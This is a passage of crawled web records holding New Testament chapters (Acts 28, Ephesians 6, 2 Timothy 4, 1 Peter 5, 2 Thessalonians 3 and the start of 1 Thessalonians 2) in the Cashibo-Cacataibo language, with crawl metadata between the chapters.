cacëxa:\n—'Ën aintsicama, cana mitsu cain, 'ën cana judíos unicama uisa ocëma 'ain, uisa oíma cana nun chaitiocëcama 'iásabi 'ian. Usai 'iabi ca Jerusalénuxun judíos unicaman an sipuanun quixun romános unicama 'ë 'inánxa. 18 'Ináncëxun 'ë ñucáxun ca 'unánxa, 'ën ñu 'acë 'aíma 'ain ca a cupía 'ë 'ati 'aíma 'icë quixun. Usa 'ain ca 'ë chiquíntisa tanxa. 19 Chiquíntisa taniabi ca judíos unicaman 'ëa chiquínxunma 'anun caxa. Usaquian caia cana 'apucama can, Romanu 'icë 'apu, Césarnën ca 'ëmia manáncë banacama mëníoti 'icë quixun. 'Ëmia atux manáncë banacama a ñuixunibi cana Césarmi judíos unicama ñui manántima 'ain. 20 Usa 'ixun cana mitsu isanan mitsubë banatisa tanquin, 'ëmi isi unun quixun mitsu camian. Judíos unicaman sináncësaribi oquin cana —bama 'aish ca uni baísquiti 'icë —quixun sinanin. 'Ën usaquin sináncë cupí cana manë risi ënën tëcërëcacë 'ain.\n21 Usaía quia ca anua 'icë judíos unicaman Pablo cacëxa:\n—Nun cananuna Judea menuxuan bëmicë quirica mi ñuiquian 'acë achúshiratsubi bicëma 'ain. 'Imainun ca anuax ucë judíos unicamax mi ñuiquin, min isamina ñu 'atima 'ai quixun nu cacëma 'icën. 22 Cananuna 'unanin, mecama oquin ca axa Jesúsmi sináncë unicama ami nishquin unin ñuia. Usa 'ain cananuna minmi a uisaira cara a ñucama 'icë quixun ñuia cuaisa tanin.\n23 Usa 'ain ca a nëtë́an Pablonën bana ñuia cuacatsia quicë a nëtën 'aisamaira uni anua Pablo 'icënu uacëxa. Aía timëtia ca bari xamárutamainun ñuixuanan xupíopaquinribi bana ñuixuancëxa. Bana ñuixunquin ca uisari cara uni Nucën Papa Diosnan 'iti 'icë quixun canan —Moisés 'imainun an Nucën Papa Dios quicë bana uni ñuixuncë unicamaxribia, axa uti Cristo a ñui quiásabi oi ca Jesús uacëxa —quixun ñuixuancëxa. 24 Pablo quia cuaquian raíri unicaman —a banax ca asérabi 'icë —quixun cuamainun ca raírinën —a banax ca asérabima 'icë —quixun cuaisama tancëxa. 25 Usai 'i ca raírinëxa —asábi ca —quimainun uni raírinëxribi —usama ca —quicëbëtan, camaxunbi bëtsi bëtsi oquin sináncëxa. Usaía 'ia ca Pablonën ësaquin cacëxa:\n—Nucën Papa Diosan Bëru Ñunshin Upitan sinánmicëxuan Isaíasnën nucën raracama cá banax ca asérabi 'icën. A banax ca ësai quia:\n26 Camina anu cuanxun atúan cuanun ësaquin judíos unicama cati 'ain: Mitsun pabitan 'ën bana ñuia cuaquinbi camina uisai cara quia quixun 'unántima 'ain. Mitsun bërun 'ën 'aia isíbi camina 'ëx cushiira 'aínbi 'ëmi sinántima 'ain. 27 Atun nuitu mëu 'unántisama tanan ca judíos unicaman atun pabitan cuaquinbi uisai quicë cara quixun 'unántisama tania. Atun bërúnbi 'ën 'aia isquinbi ca 'ëx cushiira 'aínbi 'ëmi sinántisama tania. 'Ëmi sinanatia cana atu 'ën uni 'inun ië́mitsian. Usa 'aínbi ca 'iisama tanxa.\n28 Camina 'unánti 'ain, 'ën mitsu ñuixuncë bana, Jesucristomi catamëtishi ca uni Nucën Papa Diosnan 'iti 'icë quiax quicë, a bana ñuixunia ca judíosma unicaman cuaxa. Usa 'aish ca atux a bana quicësabi oi 'iti 'icën.\n29 Usaquian Pablonën cacëx ca judíos unicamax Pablonëan ñuicë banacama a ñui qui atúxbi cuëbicananquiani atun xubunu cuancëxa.\n30 Usa 'ain ca Pablo aín xubunu 'iquin xubu 'ibu cupíoi anu rabë́ baritia 'iacëxa. Anu 'ixun ca axa a isi ucë unicama nuibaquin biacëxa. 31 Biquin ca uisari cara uni Nucën Papa Diosnan 'iti 'icë quixun ñuixuanan uisai cara Nucën 'Ibu Jesucristomi catamëti 'iti 'icë quixun ñuixuancëxa, uinu 'icë unínbia ubíocëma 'ixun.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/cbrNT\/ACT28.htm","date":"2022-01-18T16:09:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320300934.87\/warc\/CC-MAIN-20220118152809-20220118182809-00587.warc.gz","language":"cbr","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.000008463859558}","num_words":964,"character_repetition_ratio":0.068,"word_repetition_ratio":0.002,"special_characters_ratio":0.21,"stopwords_ratio":0.271,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"6\n1 Papañu titañu tuácama, ësaquin cana mitsu cain, min papan bana, min titan bana cuaquin camina an mi cacësabi oquin 'ati 'ain, Nucën 'Ibu Jesucristo cuëëncësabi oquin. Mitsux usai 'iti ca asábi 'icën. 2-3 Ax quicësabi oquin 'atia Nucën Papa Diosan 'inan bana achúshinëx ca ësai quia: \"Chuámarua 'aish xënibuti ënë menu tsónuxun camina min papan bana, min titan bana upí oquin cuaquin, an mi cacësabi oquin 'ati 'ain\". Bëtsi bëtsi bana ax quicësabi oquin 'ati 'aínbi ca ënë banaxëshi ësai quia: Usai 'i ca uni chuámarua 'aish xënibuti ënë menu tsóti 'icën.\n4 Bëchicëñu unicama, mitsuribi cana cain, min bëchicë camina nishmitima 'ain. Min bana parë́quinma min cacësabi oquin 'anun camina canioti 'ain. Usoquin canioquin camina a ñuixunquin Nucën 'Ibu Jesucristo cuëëncësabi oquian 'anun 'unánmiti 'ain.\n5 An uni itsi ñu mëëxuncë unicama, mitsun camina upí oquin sinánquin an mi ñu mëëmicë unia cuëëntanun paránquinma an cacësabi oquin 'ati 'ain, Cristoribimi 'axuncësa 'itánun.\n6 An mi iscëxuinshi camina axa cuëëntanun quixun uni ñu mëëxuntima 'ain. Usoquin 'axunquinma camina an iscëxunmabi Cristonën uni 'ixun chiquíshquinma cuëënquin upí oquin uni ñu mëëxunti 'ain, Nucën Papa Dios cuëëncësabi oquin. 7 —Ënë ñu cana unishi 'axunima, Nucën 'Ibu Jesucristoribi cana 'axuni —quixun upí oquin sinánquin camina an mi ñu mëëmicë uni ñu mëëxunti 'ain. 8 Camina 'unanin, an upí oquin ñu 'acë uni a ca Nucën 'Ibu Jesucristonën, uisa ñu upí cara 'axa, usaribi oquin cupíoti 'icën, an uni ñu mëëxuncë uni 'imainun an uni ñu mëëmicë uniribi.\n9 An uni itsi ñu mëëmicë unicama, mitsun camina an mi upí oquin ñu 'axuncësaribi oquin uni upí sinánñu 'ixun ami nishquin ñu caquínma ñu mëëmiti 'ain. Camina 'unanin, Nucën 'Ibu Jesucristo aín nëtënu 'icë, ax ca mitsun 'Ibu 'ianan ami ñu mëëmicë unicaman 'Iburibi 'icën. An ca aín unicama bëtsibë sënën isia.\nÑunshin 'atimanëan ñu 'atima 'anun sinánmicëxbia uni Cristomi catamëti bana\n10 'Ën xucë́antu, ënë banaribi cana mitsu ñuixunin. Ax mibë 'ixúan mi sinánmicësabi oquin 'ai camina Nucën 'Ibu Jesucristomi asérabi catamëti 'ain. Usaími 'ia ca aín cushínbi mitsu cushioti 'icën. 11 Ñunshin 'atimanëan paránquin mitsu ñu 'atima 'amitisa tancëxbi camina an mitsu 'ibuati rabanan uisoquinra cara an mitsu cushioti 'icë, usaquin Nucën Papa Diosan cushiocë 'inux upí oquin sinani ami catamëti 'ain. 12 Nux cananuna suntárunëxa 'acanancësaribiti 'in. Usai 'ibi cananuna unibë 'acananiman. Nun nuitu mëúishi cananuna 'acanáncësa 'ain, ñunshin 'atimanën nu 'ibuati rabanan. Aín 'apubë cushiquin ca ñunshin 'atimacaman nu ñu 'atima 'anun nu 'amitisa tania. Atun an ënë menuxun ñu atima 'acë unicama 'ibuacë 'ixun ca nuribi ñu 'atima 'amitisa tania. 13 Ñu 'atima 'anun an sinánmicëxunbi 'aquinma ñunshin 'atima abáminux cushi 'iti cupí camina manutima, uisoquinra cara an mitsu cushioti 'icë usaquian Nucën Papa Diosan cushiocë 'inux upí oquin sinani ami catamëti 'ain. Usai cushicë 'ixúnmi abámicëxuan ñunshin 'atimanën mitsu tantëcëncëxbi usabi Nucën Papa Diosmi catamëcë 'aish camina uisaíbi 'itima 'ain. 14 Ñunshin 'atima nun nuitu mëúnu abë 'acanancë an tanquinbi uisabi otima cupí camina Nucën Papa Diosmi catamëcë 'aish Romanu 'icë suntárunëan amia catamëti aín manë chupa pañucësa 'iti 'ain. Aín manë chupa pañuquin ca anúan tsitëcërëquiti anun tsitëcërëquianan, aín shican bëpánti manë chupánribi shimápucüanan, aín taxacaribi tañuanan, aín manë mañuti mañuanan, aín manë pará tuíanan aín manë xëtocëribi tuinia. Suntáru aín manë chupami catamëcë 'aínbi camina mitsúxribi mitsun nuitu mëu upiti 'acananux manë chupa ami catamëti pañucësa 'iti 'ain. Uni paráncëma 'ianan cëmëima asérabi banan banacë 'aish camina suntáru aín manë chupa pañuax upiti tsitëcërëquicësa 'iti 'ain. Ñu 'atima 'ati ëncë 'ixun upí ñuishi 'ati sináncë 'aish camina suntáru aín shican bëpánti manë chupan shimapucucësa 'iti 'ain. 15 —Cristo cupí nun 'ucha tërë́ncë 'aish cananuna Nucën Papa Diosbë upí 'ai —quixun uni ñuixunux mëníocacë 'aish camina suntárunëan aín taxaca tañucësa 'iti 'ain. 16 Ñunshin 'atimanëan uisashi oquin cara tanquinbi mitsu uisabi otima cupí camina Jesucristomi sinani, an ca 'ë bërúanquin 'ë 'aquinia quixun 'unani, ami catamëti 'ain. Usa 'aish camina suntárunëan 'acánanquin anua pia atsínti rabanan, aín manë pará ami catamëti tuíncësaribi 'iti 'ain. 17 Mitsun camina asérabi 'unánti 'ain, Jesucristo cupí mitsun 'uchacama tërë́ncë 'aish camina Nucën Papa Diosan iscëx upí 'aish ainan 'ai quixun. Usaquin 'unani camina suntáru manë mañutinën mapucësa 'iti 'ain. Aín Bëru Ñunshin Upitan 'unánmicëxun Nucën Papa Diosan bana cuënëo upí oquin 'unani camina ñunshin 'atimami racuë́tima 'ain. A banami catamëti camina suntárunëan aín manë xëtocë ami catamëquin tuíncësa 'iti 'ain. 18 Usai 'iquin camina aín Bëru Ñunshin Upitan sinánmicësabi oquin añu caramina 'ai a ñu 'ai Nucën Papa Diosbë bananan an mitsu 'aquinun ñucáti 'ain. Usai abë bananux camina atsanima ami manúaxma 'ianan axa Jesucristomi catamëcë unicamaribi Nucën Papa Dios ñucáxunti 'ain. 19 Ñucáxuanan camina aín bana unicama racuë́quinma ñuixunuan uisoquin carana ñuixunti 'ai quixun 'ë sinánminun Nucën Papa Dios 'ë ñucáxunti 'ain, Cristo ñui quicë bana a bëráma unin upí oquin 'unánma 'icëbi bërí unin 'unánun. 20 Cristo ñuiquin bana ñuixunuan Nucën Papa Diosan 'imicë 'aish cana a ñuiquin uni bana ñuixuncë cupí sipuacë 'ain. Sipuacë 'ixunbi an 'ë cacësabi oquin racuë́quinma a bana upí oquin ñuixunun camina 'ë Nucën Papa Dios ñucáxunti 'ain.\nBërúanx 'inúan Pablonën Efesonu 'icë unicama ca\n21 Mitsúnmi uisai carana 'ëx 'i quixun 'unánun ca Tíquiconën minu cuanxun mitsu ñuixunti 'icën. Axribi ainan 'aish nun nuibacë xucën 'ixun ca Nucën 'Ibu Jesucristo ñuiquin upí oquin uni bana ñuixunun 'ë 'aquianxa. 22 An uisai caranuna 'i quixun nu ñuia cuatími masá nuitutíma cuëënun quixun cana a mitsunu cuanun xutin.\n23 Nucën Papa Diosbëtan Nucën 'Ibu Jesucristonën 'imicë́xmi mitsux 'ëx 'icësaribiti ami catamëcë 'aish ami sinánan bëtsibë bëtsibë nuibanani chuámarua 'aish upitax bucuti cana cuëënin. 24 Mitsúxmi a manutëcëntimoi Nucën 'Ibu Jesucristomi catamëcë 'icëa, Nucën Papa Diosan nuibaquin mitsu 'aquinti cana cuëënin. Ashi, Pablo.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/cbrNT\/EPH06.htm","date":"2022-01-18T16:46:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320300934.87\/warc\/CC-MAIN-20220118152809-20220118182809-00598.warc.gz","language":"cbr","language_score":1.0000008345,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"cbr_Latn_score\": 1.0000008344650269}","num_words":914,"character_repetition_ratio":0.097,"word_repetition_ratio":0.004,"special_characters_ratio":0.205,"stopwords_ratio":0.33,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"4\n1 Nucën Papa Dios 'imainun Nucën 'Ibu Jesucristo, ax 'Apuira 'aish uxuan uni bamacëmacama 'imainun uni bamacëcamaribi, uisa cara oti 'icë quixun isti, an cuamainun cana mi cain, 2 minmi ñuixuncëxuan min bana cuanan, cuatiamabi camina uni bana ñuixunti 'ain. Ñuixunquin camina Jesucristo ñuicë banax ca asérabi 'icë quixun 'unánmiquin amia sinánun 'aquinti 'ain. 'Aquianan camina an ñu 'aisama 'acë unicamaribi 'ësëanan camabi uni Jesúsmi catamëcë 'aísha upí 'inun 'ësëti 'ain. Min cacëxun cuacëbëma bënë́quinma camina minmi upí oquin 'unáncë bana ñuixunquin uni 'ësëti 'ain. 3 Jesucristo utëcënti nëtë 'urama 'ain ca unin Nucën Papa Diosan bana anúan atux upí 'iti a cuaisama tanti 'icën. A bana cuaisama tanquin ca unin, ainsa atúan cuaisa tancë bana ñuixunun quixun bëtsi unicama bariti 'icën. 4 Nucën Papa Diosan bana cuaisamaira tanquin ca unían anbi sinánquin ñuicë banaishi cuati 'icën. 5 Usa 'aínbi camina min upí oquinra sinánxun ñu 'ati 'ain. Tëmëraquinbi tanshiquin camina ënquinma —Jesucristomi catamëti ca uni Nucën Papa Diosnan 'iti 'icë —quixun caquin uni bana ñuixunti 'ain. Nucën Papa Dios cuëëncësabi oquin camina sënë́onuxun ënquinma min ñu mëëti 'ati 'ain.\n6 Nucën Papa Dios cuëënminuxun cana aín ñu mëëti 'an. Usa 'ain ca 'ën bamati nëtë 'urama 'icën. 7 Uisa ñuishi cara 'icëbë tëmëraquinbi cana Nucën Papa Diosan bana ënquinma uni ñuixunquin Jesucristonëan 'ë cacësabi oquin 'aquin sënë́on. Usonan cana asérabi Nucën Papa Diosmi sinánti ëníma aín bana quicësabi oi 'ian. 8 Usa 'ixun cana Nucën 'Ibu Jesucristonën utancëxun, upí oquin ax cuëëncësabi oquin 'ën 'acë cupí cara uisaira 'ë 'imiti 'icë quixun isti 'ain. An ca asérabi aín quicësabi oquin 'ati 'icën. Usa 'ixun ca 'ëishima, an axa uti cuëënquin caíncë unicamaribi, utancëxun uisaira oquin cara aturibi 'imiti 'icë usoquin 'imiti 'icën.\nËsaquinribia Pablonën Timoteo cá bana\n9 Bënëtishi camina 'ë isi uti 'ain. 10 Demas ax ca ënë menu 'icë ñuishi 'aisamaira cuëëni, 'ë ëbiani Tesalónica ëmanu cuanxa. Crescente axribi ca Galacia menu cuanxa. Cuanmainun ca Titoxribishi Dalmacia menu cuanxa. 11 Lucasëshi ca 'ëbë 'icën. Usa 'ain camina Marcos barixun mërabëtsínquin 'ëa Nucën Papa Diosan bana ñuiquínun bëti 'ain. 12 Tíquico cana Efeso ëmanu xuan. 13 Uquin camina Troas ëmanu Carponën xubunu 'ën nanbëtsíncë tari a 'ë bëxunti 'ain. Bëxuanan camina 'ën quiricacama 'ë bëxuanan quirica catacama aribi manuxunma 'ë bëxunti 'ain, a cana cuëënin.\n14 Alejandro, an manë ñu uniocë uni, an ca 'ëmi manánxun 'itsaira 'ë tëmëramiaxa. Usa cupí ca uisa cara oti 'icë usoquin Nucën 'Ibu Diosan 'ati 'icën. 15 Nun nu Nucën Papa Diosan bana ñuixuncëbë ca a bana ñui 'atimati banaxa, Usa 'ain camina mix an ñuicë bana cuati rabanan abë nitima 'ain.\n16 'Ë ñuia ami uni manáncëxuan, 'atabaquin amia uni manáncë 'apun camicëx cuanxun, 'ën usai cana 'i quixun chiquinaquin caiabi ca uinu 'icë unínbi 'ënun rabanan 'apu cacëma 'icën. Camáxbi ca 'ë ëbiani cuanxa. Usa 'ë ocëbi Nucën Papa Diosan uisabi oxunma 'atibi ca 'iti 'icën. 17 Acaman ëniabia Nucën 'Ibu Jesucristonën 'aquinia ca a 'apun 'ë uisabi ocëma 'icën. Usoquin ca 'inúan nëëcënëan piisa tancëxbia ñuina abácësaribi oquin, unin 'aisa taniabi Nucën 'Ibu Jesucristonën 'ë ië́miaxa. Usoquian ië́mitancëxun cushiocëxun cana aín bana ñuitëcëan, judíosma unicamánbia cuanun. 18 Usaquin ca Nucën 'Ibu Jesucristonën 'ë 'aquianxa. Usaribi oquin ca 'ë 'aquintëcënquin uisa cara ocaniabi 'ë 'aquinti 'icën. 'Aquintancëxun ca 'ëx aín nëtënu abë tsónun 'ë 'imiti 'icën. Upíira 'icë ca cëñútimoquin unin Nucën Papa Dios rabiti 'icën. Usai ca 'iti 'icën.\nUpíoquin sinánxunquian ashiquin Pablonën bëruanxa 'inun ca\n19 Prisca 'imainun Aquila camina bërúanxa 'inun 'ë caxunti 'ain. 'Imainun camina Onesíforonën xubunu 'icëcamaribi bërúanxa 'inun 'ë caxunti 'ain. 20 Corinto ëmanu Erasto bërúmainun cana Trófimo aín nami upíma 'icë, Mileto ëmanu ëbian. 21 Mitabúcëma 'aínshi camina bënëtishi uti 'ain. Eubulo, Pudente, Lino, Claudia, acama 'imainun an Nucën Papa Diosan bana 'acë unicamanribi ca bërúanxmi 'inun quixun mi camia.\n22 Mibë 'ixuan Nucën 'Ibu Jesucristonën mi cushiomainuan Nucën Papa Diosan mibë 'icëcamacëñun mi nuibaquin 'aquincëx camina bërúanx 'iti 'ain. Ashi, Pablo.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/cbrNT\/2TI04.htm","date":"2022-01-21T07:50:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320302740.94\/warc\/CC-MAIN-20220121071203-20220121101203-00542.warc.gz","language":"cbr","language_score":1.0000076294,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000076293945312}","num_words":627,"character_repetition_ratio":0.091,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.359,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"5\nAxa Jesucristomi catamëcë unicama 'ësëti bana\n1 Axa Jesucristomi catamëcë unin cushicamasaribi cana 'ëx 'ain. Usa 'ixun cana atúan 'acësaribi oquin Cristo camabi unin 'ucha cupía tëmëra, a ñuiquin bana ñuixunin. 'Anan cana atúxa 'icësaribiti Cristo utëcëncëbë aín nëtënu abë 'iti sinanin. Usa 'ixun cana axa Jesucristomi catamëcë unin cushicama mitsu ësaquin cain: 2 Atun cushicama 'ixun camina Nucën Papa Diosan unicama bana ñuixunquin, atúxa upí nuituñu 'aish chuámarua bucunun 'aquinti 'ain. An carnero bërúancë unin aín carnero 'acësaribi oquin camina a unicama upía 'inun bërúanti 'ain. Usoquinmi 'anúan mitsu unin caíscë cupíshima camina asérabi 'aisa tanquin 'ati 'ain. 'Anan camina curíqui biti sinánxuinshima minbi asérabi 'aquinsa tanquin 'ati 'ain. 3 'Apúxa unían ax quicësa oquinshi 'anun quiax quicësaribiti camina banatima 'ain. Usari 'íma camina mitsúnmi bana ñuixuncë unicamaxa usaribiti 'inun, upíshi 'iti 'ain. 4 Usoquin 'aia ca Jesucristo, unin 'acësamaira oquian an aín unicama bërúancë, an utëcënquin mitsu —asábi ca —quixun catancëxun aín nëtënuaxmi xënibua 'aínbi abë cuëënun mitsu 'imiti 'icën. Ënë nëtënuax cuaiquin canania uisa ñu cara 'ináncëxun bitsia uni cuëëncëbëbi ca an bicë ñu chëquia. Usaía uni 'icë 'aínbi camina mitsux xënibua 'aínbi Nucën Papa Diosbë 'aish cuëënti 'ain.\n5 Usaribi oquin cana bëná unicama ësaquin cain, mitsun cushicaman bana camina timaquinma cuati 'ain:\nNucën Papa Dios ca unia rabíti cuëënima. Usa 'ixunbi ca axa rabícëma unicama nuibaquin 'aquinia.\nUsa 'ain camina —'ëx cana bëtsi unisamaira 'ai —quixun sinanima camáxbi bëtsin sináncësaribi oquin sinani upiti 'ësëananti 'ain. 6 Usa 'ain camina aín bana timaima uisa ñu cara 'icëbëbi bënëtima Nucën Papa Dios 'Apuira ami catamëti 'ain. Usaími 'ia ca an anúan 'ati nëtë ucëbëtan uisai cara 'iquin tëmëracë 'aíshbimi usai 'icëmasa 'ianan asábiira 'inun mitsu 'imiti 'icën. 7 Uisaquin sinani caramina masá nuituti, añu ñu sinani caramina racuëti, a ñuiquin camina Nucën Papa Dios cati 'ain, an ca mitsu nuibaquin bërúanquin 'aquinia quixun 'unánquin.\n8 Paru 'inúan cuëë́rui aín piti bari nicësa, usaribiti ca ñunshin 'atimanën 'apu, uni ñu 'atima 'anun quixun sinánmianan Nucën Papa Diosmi sinánti ënminuxun bari nitsia. Usa 'ain camina mitsua paránti rabanan bërúancati 'ain. 9 Usa 'ixun camina ñunshin 'atimanën 'apúan ñu 'atima 'amitisa tancëxunbi Jesucristomi catamëquin usa ñu 'atima 'ain. Camina 'unánti 'ain, mitsu 'acësaribi oquin ca ñunshin 'atimanën 'apun, camabi menu 'icë axa Jesucristomi catamëcë unicama tania quixun. 10 Usabi 'inúxmabimi tëmëracë ca Nucën Papa Diosan mitsu cushioquin Jesucristosaribi upí 'inun mitsu 'imianan —aín bana quicësabi oi cana asérabi 'iti 'ai —quixun 'unani ami cushinun mitsu 'imiti 'icën. Ax ca an mitsu nuibaquin 'aquincë 'ianan Jesucristonan cupí abë́mi xënibua 'aínbi upitax 'inun caíscë a 'icën. 11 Camabi unin ca Nucën Papa Dios rabiti 'icën, nëtë xënibua 'aínbi. Cëñútimoi ca axira cushiira 'Apu 'ia. Usai ca 'ia.\nBërúanxa 'inúan Pedronën Jesucristomi catamëcë unicama ca\n12 Nucën xucën Silvano, ax ca 'ën iscëx upiti Jesucristomi sináncë 'icën. Usa 'ain cana an mitsu buánxunun ënë quirica mitsu 'axuan. Ënë quiricanu 'ësë́anan cana mitsu cain, an mitsu upí oquin cushionan 'aquincë cupí camina asérabi 'unánti 'ain, uisaira oquin cara Nucën Papa Diosan mitsu nuibatia quixun. A ënima camina mixmi 'icësabi oi ami upiti catamëti 'ain.\n13 Babilonianu 'icë axa Jesucristomi catamëcë unicama, mitsu 'acësaribi oquian Nucën Papa Diosan ainan 'inun caíscë, acaman ca bërúanxmi 'icanun 'ën mitsu canun 'ë caxa. Marcos, 'ën bëchicësa, anribi ca bërúanxmi 'inun 'ën mi canun 'ë caxa.\n14 Jesucristo cupí micamaxbi xucë́nsa 'aish camina nuibanani bërúanx 'inun bëtsibë bëtsibë cananti 'ain.\nUicamax cara Jesucristonan 'icë ax chuámarua bucucanti cana cuëënin. Ashi, Pedro.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/cbrNT\/1PE05.htm","date":"2022-01-16T10:34:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320299852.23\/warc\/CC-MAIN-20220116093137-20220116123137-00654.warc.gz","language":"cbr","language_score":1.0000046492,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000046491622925}","num_words":558,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.206,"stopwords_ratio":0.315,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"II. PABLONËN 'ËSËA BANA (3)\n3\nNucën Papa Dios camina nu ñucáxunti 'ai quixuan Pablonën ca\n1 Nucën xucë́antu, ësaquinribishi cananuna mitsu cain, camabi menu 'icë unicaman nun Jesucristo ñuiquin bana ñuixunia cuanun camina Nucën Papa Dios nu ñucáxunti 'ain, nun mitsu bana ñuixuncëxun cuaquinmi —a banax ca upíira 'icë —quixun caquin mitsun 'acësaribi oquian atunribi sinánun. 2 'Imainun camina an 'atima ñu 'acë 'aisama unicaman nu ubíoxunma 'anun Nucën Papa Dios nu ñucáxunti 'ain. Camabi uníxira ca Jesucristomi catamëcëma 'icën, 3 usa 'aínbi ca Nucën 'Ibu Jesusan aín quicësabi oquin mitsu ami catamënun cushioquin, ñu 'atima 'axunma 'anun bërúanti 'icën. 4 Cananuna 'unanin, Nucën 'Ibu Jesucristonën 'aquincëxun camina mitsúnmi nun cacëxun bërí 'acësabi oquin ënquinma 'ati 'ai quixun. 5 Nucën 'Ibu Jesucristonëan —Nucën Papa Diosan ca asérabi mitsu nuibatia —quixun upí oquin 'unánan, ax 'icësaribiti uisa ñu cara 'icëbëbi bënë́quinma tanshiti 'unánun mitsu 'aquinti cananuna cuëënin.\nAxa Jesucristomi catamëcë unicaman ca ñu mëëti 'icë quixun Pablonën ca\n6 Nucën xucë́antu, Nucën 'Ibu Jesucristonën nu sinánmicësabi oquin cananuna mitsu cain, ui unin cara Jesucristomi catamëcë 'ixunbi nun mitsu 'unánmicësabi oi 'iisama tanan ñu mëëtisama tania, abë camina ënananti 'ain. 7 Mitsúnbi camina 'unanin, uisai caramina nux 'icësaribiti 'iti 'ai quixun. Mitsubë 'aish cananuna ñu mëëima 'icëma 'ain. 8 Cupíoquinma cananuna unin piti picëma 'ain. Nun mitsun piti 'imainun mitsun curíqui cëñuti rabanan cananuna nëtën 'anan imë́ribi tëmërai atsánquinbi ñu mëëan. 9 Mitsúnmi nu cupíoquin mitsun piti 'imainun mitsun curíqui 'ináncëxun nun biti ca asábi 'itsíanxa. Usa 'aínbi cananuna, mitsúnribimi nun 'acësaribi oquin 'anun, nun cuëëncë ñu binuxun nunbi ñu mëëan. 10 Mitsubë 'ixun cananuna ësoquin mitsu can, an ñu mëëtisama tancë uni an ca pitima 'icë quixun. 11 Ësaquian mitsu ñuicania cananuna cuan, micama raírinëx ismina ñu mëëimabi bana ñuibëquinishi nitsi quixun. 12 Usa unicama cananuna Nucën 'Ibu Jesucristonën nu sinánmicësabi oquin 'ësëquin cain, atun cuëëncë ñu binuxun ca uni itsi ubíoquinma atúnbi ñu mëëti 'icë quixun.\n13 Nucën xucë́antu, camina unicamaxa chuámarua bucunun ñu upí 'ati, a 'aisama tanquin ëntima 'ain. 14 Ui unin cara nun cuënëocë bana ënë ënxun nux quicësabi oquin 'aisama tania, a unibë camina nitima 'ain, axa rabíntanun. 15 'Aíshbi camina abë nishanantima 'ain. Nishananquinma camina nun bana quicësaribi oquin 'anun 'ësëti 'ain, nun xucë́nu 'acësaribi oquin.\nUpí oquin sinánxunquian ashiquin Pablonën bërúanxa 'inun ca\n16 Nucën 'Ibu Jesucristo, an aín unicama bënëtima chuámarua 'inun 'imicë, anbia mitsúxribimi uisa ñu cara 'icëbëbi camabi nëtë chuámarua 'inun mitsu 'imiti cana cuëënin, axbi mitsubë 'iquin mitsu bërúanti cana cuëënin.\n17 'Ëx Pablo 'ixun cana 'ën mëcënanbi cuënëoquin bërúanxmi 'icanun quixun mitsu cain. Ënë isquin camina 'unánti 'ain, ënëx ca Pablonëan cuënëocë 'icë quixun. Ësoquinshi cana cuënëoin. 18 Nucën 'Ibu Jesucristonën nuibaquin 'aquincëxmi mitsux upitax bucuti cana cuëënin. Ashi, Pablo.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/cbrNT\/2TH03.htm","date":"2022-01-28T19:07:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320306335.77\/warc\/CC-MAIN-20220128182552-20220128212552-00060.warc.gz","language":"cbr","language_score":1.0000042915,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000042915344238}","num_words":432,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.204,"stopwords_ratio":0.285,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2\nTesalónica ëmanu 'icë unicama Pablonën bana ñuixuan\n1 Nun xucë́antu, mitsúnbi camina, nun bana ñuixuncëxun asérabi cuaxun 'unanin, nux cananuna mitsu isi ñancábi cuancëma 'ai quixun. 2 Filipos ëmanuxun ca nu ñui 'atimati bananan bëtsi bëtsi oquin unin nu tëmëramiaxa quixun camina 'unanin. Usai tëmëratancëxunbi cananuna Nucën Papa Diosan 'aquincëxun mitsuribi Jesucristomi catamëti ca uni Nucën Papa Diosnan 'iti 'icë quixun a bana ñuixuan, 'aisamaira uníxa numi nishcëxunbi. 3 Nun cananuna Jesucristo ñuiquin bëtsi oquin uni bana ñuixuncëma 'ain. 'Imainun cananuna 'atimaquin sinanx banaquin uni paráncëma 'ain. 4 Usama ca, Nucën Papa Diosanbi ca asérabi caranuna aín bana uni ñuixunti 'ai quixun upí oquin 'unántancëxun —atun ca asérabi 'ati 'icë —quixun sinánquin aín bana unicama ñuixunun nu cacëxa. Usaquin 'anun cacë 'ixun cananuna an —Jesucristomi catamëti ca uni Nucën Papa Diosnan 'inux ië́ti 'icë —quixun unicama ñuixunin. Usaquin 'aquin cananuna Jesucristo ñuiquin unicama cuëënmiti sinánquinma, Nucën Papa Dios, an camabi unin nuitu 'unáncë, axëshia cuëëntanun uni bana ñuixunin. 5 Mitsúnbi camina 'unanin, uisa 'aíshbi cananuna mitsúnmi nux cuëëncësa oquin nu ñu 'axúnun quixun sinani 